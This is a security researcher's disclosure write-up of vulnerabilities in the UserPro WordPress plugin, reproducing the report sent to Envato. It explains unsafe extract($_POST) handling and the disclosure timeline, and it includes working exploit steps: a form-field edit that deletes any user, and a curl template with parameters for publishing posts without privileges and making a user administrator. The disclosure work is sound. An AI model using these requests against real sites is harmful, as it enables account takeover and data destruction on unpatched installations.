UserPro plugin for WordPress versions up to 2.28 have multiple security vulnerabilities that expose the website they are installed on to a wide scope of attack vectors. The plugin has 27 occurrences a procedure call that is extremely insecure (extract($_POST)
) and a futher 57 probably insecure uses of extract()
.
Upon discovering these security vulnerabilies I reported them to Envato, who sells the plugin on behalf of the author on CodeCanyon.net. I gave Envato a three month deadline for responsible disclosure. Envato promptly took the plugin off their store and contacted the author. The author promptly fixed all the known vulnerabilities and released a new secure version.
I have not reviewed the newest version. I did review a work in progress and was happy with the author’s progress and improvements.
The report that I sent to to Envato follows.
Want a security audit or review of your own website or code?
This report documents multiple security vulnerabilities in the UserPro plugin for WordPress.
The scope of attack vectors is extremely wide. The plugin has 27 occurrences a procedure call that is certainly extremely insecure (extract($_POST)
). It has a futher 57 uses of extract()
, many of which look to be approximately equally dangerous after a quick review.
For this report, only one instance of extract($_POST)
was investigated more thoroughly; userpro_process_form()
. That occurrence alone has an extremely wide scope of attack vectors involving 500+ lines of code.
This report documents just three specific reproducible exploits that allow an untrusted user to:
However there are so many ways to exploit UserPro plugin that it is probably not possible to document them all. In order to be secured, a large portion (at least) of the plugin would need rewriting.
Most (if not all) WordPress websites that have installed, activated and configured (in the common/usual way) the UserPro module are probably vulnerable. According to the plugin’s main distribution page as of 25 March 2015, it has been sold 8,292 times, and 8,753 times on 1 May 2015.
Of these sales, some licences are probably used for multiple websites (even though the license is only for one website). Other licenses may not be in use any longer.
A reasonable estimate of the vulnerable websites might be five to fifteen thousand.
In the best interests of the security of WordPress website users and owners, this report will be published publicly if a fix is not available by 24 June. That is three months after the vulnerabilities were reported. This is consistent with two-way responsible disclosure.
The vulnerabilities were discovered and researched by Bevan Rudge. The exploits, this report and the accompanying patch were also developed by Bevan Rudge. bevan@js.geek.nz www.JS.geek.nz
The author of UserPro plugin is Deluxe Themes: userproplugin.com. Deluxe Themes has no public security policy of its own.
WordPress has a procedure for reporting security vulnerabilities in WordPress plugins. As per that policy, plugins@wordpress.org was notified on Tuesday 24 March of these vulnerabilities (without detail). However because that team only has capacity to deal with WordPress plugins hosted on WordPress.org, it was referred on to Envato.
The UserPro plugin is sold on the codecanyon Envato Market. Envato has a procedure for reporting security vulnerabilities of products it sells, called the Helpful Hacker Program.
These vulnerabilities were reported (without detail initially) to Envato’s Helpful Hacker Program on Wednesday 25 March.
Dates are NZDT, UTC+13.
This exploit requires only basic knowledge of how forms work on the internet, and how to use a web browser’s web dev tools to modify them.
<input type="hidden" name="user_id-N" id="user_id-N" value="ID">
.value=""
attribute to the Vicky’s user ID.The other two exploits are more elaborate and would be difficult to reproduce manually in a web browser.
As in the “Delete any user” exploit, these validate the security nonce for the user “delete” action (known as $template
in code). Unlike the “Delete any user” exploit, they manipulate the vulnerable UserPro code into taking a different action instead of deleting a user.
Both exploits use this template for a curl command:
curl "http://${HOST}/wp-admin/admin-ajax.php" -H "Cookie: wordpress_logged_in_${HASH}=${COOKIE}" --data "action=userpro_process_form&_myuserpro_nonce=${NONCE}&unique_id=${ID}&template=delete&template-9=${ACTION}&${DATA}"
Note that
template-9
can actually be called anything matching regextemplate-.+
.Note the lack of
wordpress_HASH
andPHPSESSID
cookies. This may or may not be a security issue. If it is, it may or may not be related. This report did not investigate that.
HOST
: The hostname of the website to be exploited.HASH
: The has component of the wordpress_logged_in_*
cookie.COOKIE
: The value of that cookie, for any logged in user, such as “Andy Attacker”.NONCE
and ID
: The nonce and unique ID can be retrieved from the delete form (as in the “Delete any user” exploit) for the logged in user. The names are _myuserpro_nonce
and unique_id
respectively.ACTION
: provided by each exploit’s example code below. See below.DATA
: Form data, provided by each exploit’s example code below.Values for HASH
, COOKIE
, NONCE
and ID
can all be retrieved from cookies and the form on the “UserPro profile/login” > “Delete” page for any logged in user.
Exploitable values for ACTION
are:
ACTION
: publish
DATA
: user_id=1&post_title=Hacked&userpro_editor=This post was created by a user without content creation priveleges.
Afterwards, a new post “Hacked” with content “This post was created by a user without content creation priveleges.” can be seen at /wp-admin/edit.php
(Admin > “Posts”).
All variables in DATA
can be set to any value that would normally validate. Additional variables are also supported.
ACTION
: edit
DATA
: user_id=${UID}&role=administrator
Afterwards, the specified user is an administrator.
UID
must be set to the user ID corresponding to the nonce and cookie. Additional variables are also supported.
The steps above show just some of many possible exploits of UserPro plugin. These three examples all exploit function userpro_process_form()
. There are many other exploitable vectors. Only userpro_process_form()
is investigated and explained in this report.
userpro_process_form()
is hooked to the wp_ajax_nopriv_userpro_process_form
and wp_ajax_userpro_process_form
actions. It checks a nonce to prevent some very basic exploits, then executes the following dangerous code (reformatted):
extract($_POST);
foreach ($_POST as $key => $val) {
$key = explode('-', $key);
$key = $key[0];
$form[$key] = $val;
}
extract($form);
This causes all posted values to become local variables in the userpro_process_form()
function. For example, using the cURL template with DATA
of a=b&c=d&c-3=e
is equivalent to $a = 'b'; $c = 'd';
when the first extract()
executes, then $a = 'b'; $c = 'e';
when the second extract executes.
Extracting untrusted data is explicitly warned against in the PHP documentation for extract()
:
Warning: Do not use extract() on untrusted data, like user input (i.e.
$_GET
,$_FILES
, etc.). If you do, for example if you want to run old code that relies onregister_globals
temporarily, make sure you use one of the non-overwriting flags values such asEXTR_SKIP
and be aware that you should extract in the same order that’s defined invariables_order
within thephp.ini
.
To make matters worse;
$userpro
can be overwritten.my_array[key1]=value1&my_array[key2]=value2
$form
can be overwritten completely. E.g. form[key1]=value1&form[key2]=value2
$_POST
and $_SERVER
can probably be overwritten.A quick review of some of the other 82 uses of extract()
in UserPro plugin suggests there are dozens of similarly-dangerous uses of extract()
.
The “Delete any user” exploit is technically a distinct security vulnerability, separate from the dangerous extract()
calls and the other two example exploits. It could be addressed independently of the dangerous calls to extract()
.
Specifically, get_userdata($user_id)
is equivalent of get_userdata($_POST['user_id'])
. So the solution could be to use global $current_user
instead, and remove the user_id
from the form.
However all vulnerabilities discussed in this report should be solved together to minimize fallout from any announcement or security release, since publication of either vulnerability makes all of the others easy to discover.